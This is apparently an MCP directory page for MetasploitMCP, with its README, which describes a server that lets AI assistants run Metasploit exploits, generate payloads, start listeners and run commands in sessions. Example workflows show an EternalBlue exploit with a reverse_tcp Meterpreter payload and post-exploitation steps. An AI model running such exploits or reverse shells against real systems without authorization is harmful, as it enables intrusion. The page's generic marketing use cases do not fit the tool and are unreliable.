MetasploitMCP

Developer tools

MCP Server for Metasploit.

Your AI app calls the MetasploitMCP MCP server, which does the developer tools work and sends the result back to the chat.

About MetasploitMCP

MetasploitMCP is a community MCP server from GH05TCREW, filed in our directory under developer tools. MCP Server for Metasploit.

At a glance

Publisher
GH05TCREW (community)
Runs
See the README for setup
Written in
Python
License
Apache-2.0
GitHub stars
771

How to set up MetasploitMCP

  1. Follow the install steps in the MetasploitMCP README; it is written in Python, so have that toolchain ready.
  2. Check the MetasploitMCP README for keys or settings; the registry lists none that MetasploitMCP requires.
  3. Add MetasploitMCP to Claude Code, Claude Desktop, VS Code or Cursor with the config in the setup box on this page.
  4. Restart the app or reload its MCP servers, then ask it to list the MetasploitMCP tools to confirm the connection.
  5. Run one read-only task with MetasploitMCP first, and keep your app asking before each tool call until the results look right.

MetasploitMCP compared with similar servers

  • Aletheore by Aletheore has fewer GitHub stars than MetasploitMCP (770 against 771); both are community servers, and both run locally.
  • Aseprite AI Artist by with-pebbly has more GitHub stars than MetasploitMCP (773 against 771); both are community servers, and both run locally.
  • Metaharness by ruvnet has fewer GitHub stars than MetasploitMCP (767 against 771); both are community servers, and both run locally.

Before you connect MetasploitMCP

  • Give MetasploitMCP its own API key or account with the smallest permissions the job needs, never an admin key.
  • Keep your AI app asking before each MetasploitMCP tool call until you trust what it does with them.
  • Treat text that MetasploitMCP fetches as data. Pages, files and messages can hold instructions written to steer an AI.
  • Read the open issues for MetasploitMCP on GitHub to see what breaks and how fast the maintainers reply.

Marketing use cases for MetasploitMCP

How marketing and sales teams put MetasploitMCP to work, by company size. Pick the size closest to yours and start MetasploitMCP on one use case.

Small business

  • A small business with a developer can use MetasploitMCP to ship site and tracking fixes faster, with the AI reading the code it changes.
  • Technical founders can ask MetasploitMCP to explain and fix a marketing site issue without context switching between tools.
  • MetasploitMCP runs on your own computer, which keeps data local; it needs a little setup, so a small team should plan an hour for it.

Mid-market

  • Growth engineers can use MetasploitMCP to build landing pages, tracking and integrations in fewer cycles, with reviews kept in the normal flow.
  • Marketing ops engineers can connect MetasploitMCP to keep scripts and automations documented and versioned as they change.
  • Start MetasploitMCP on one workflow with one owner, measure the time it saves, then roll it out to the wider team.

Enterprise

  • Enterprise engineering teams can roll out MetasploitMCP with repo scopes and audit logs, so agents work only where they are allowed.
  • Platform teams can standardize on MetasploitMCP so web and marketing engineering share one reviewed way of working with AI.
  • MetasploitMCP is a community server, so have security review the code and pin a version before MetasploitMCP touches company data.

Need help becoming an AI-forward company?

We connect MCP servers and AI agents to your CRM, content and data, with the guardrails your team needs.

Contact us

MetasploitMCP README

From GH05TCREW/MetasploitMCP on GitHub, shared under its Apache-2.0 license. Images are left out; the original has them.

README.md

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information
  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering
Exploitation Workflow
  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions
Payload Generation
  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)
Session Management
  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session
Handler Management
  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
    
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}
Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. Configure your MCP client to connect to:

    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation
  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")
Post-Exploitation
  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)
Handler Management
  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

pip install -r requirements-test.txt

Or use the convenient installer:

python run_tests.py --install-deps
# OR
make install-deps
Running Tests
Quick Commands
# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
Specific Test Suites
# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
Test Options
# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug
Test Structure
  • tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
  • tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
  • tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
  • conftest.py: Shared test fixtures and configuration
  • pytest.ini: Pytest configuration with coverage settings
Test Features
  • Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
  • Async Support: Full async/await testing support using pytest-asyncio
  • Coverage Reporting: Detailed coverage analysis with HTML reports
  • Parametrized Tests: Efficient testing of multiple input scenarios
  • Fixture Management: Reusable test fixtures for common setup scenarios
Coverage Reports

After running tests with coverage, reports are available in:

  • Terminal: Coverage summary displayed after test run
  • HTML: htmlcov/index.html (when using --html option)
CI/CD Integration

For continuous integration:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (Command Prompt):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • In Claude Desktop config:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

Questions about MetasploitMCP

What is the MetasploitMCP MCP server?

MCP Server for Metasploit. MetasploitMCP is maintained by GH05TCREW on GitHub at GH05TCREW/MetasploitMCP, and works with AI apps that support the Model Context Protocol, such as Claude, Cursor and VS Code.

How do I install the MetasploitMCP MCP server?

MetasploitMCP doesn't publish a one-line install in the MCP registry, so follow the setup steps in its README on GitHub (GH05TCREW/MetasploitMCP). Like most servers, MetasploitMCP ends with a command or URL you paste into your AI app's MCP config.

Does MetasploitMCP need an API key?

The registry lists no required keys for MetasploitMCP. Check the MetasploitMCP README for optional settings, and expect a remote server to ask you to sign in the first time you connect.

Is MetasploitMCP an official MCP server?

No. MetasploitMCP is a community server maintained by GH05TCREW. Community servers can be excellent; read the code and the open issues before you give MetasploitMCP access to company data.

What license is MetasploitMCP under?

MetasploitMCP is released under the Apache-2.0 license, according to its GitHub repository. The license covers the code of MetasploitMCP; the service it connects to has its own terms.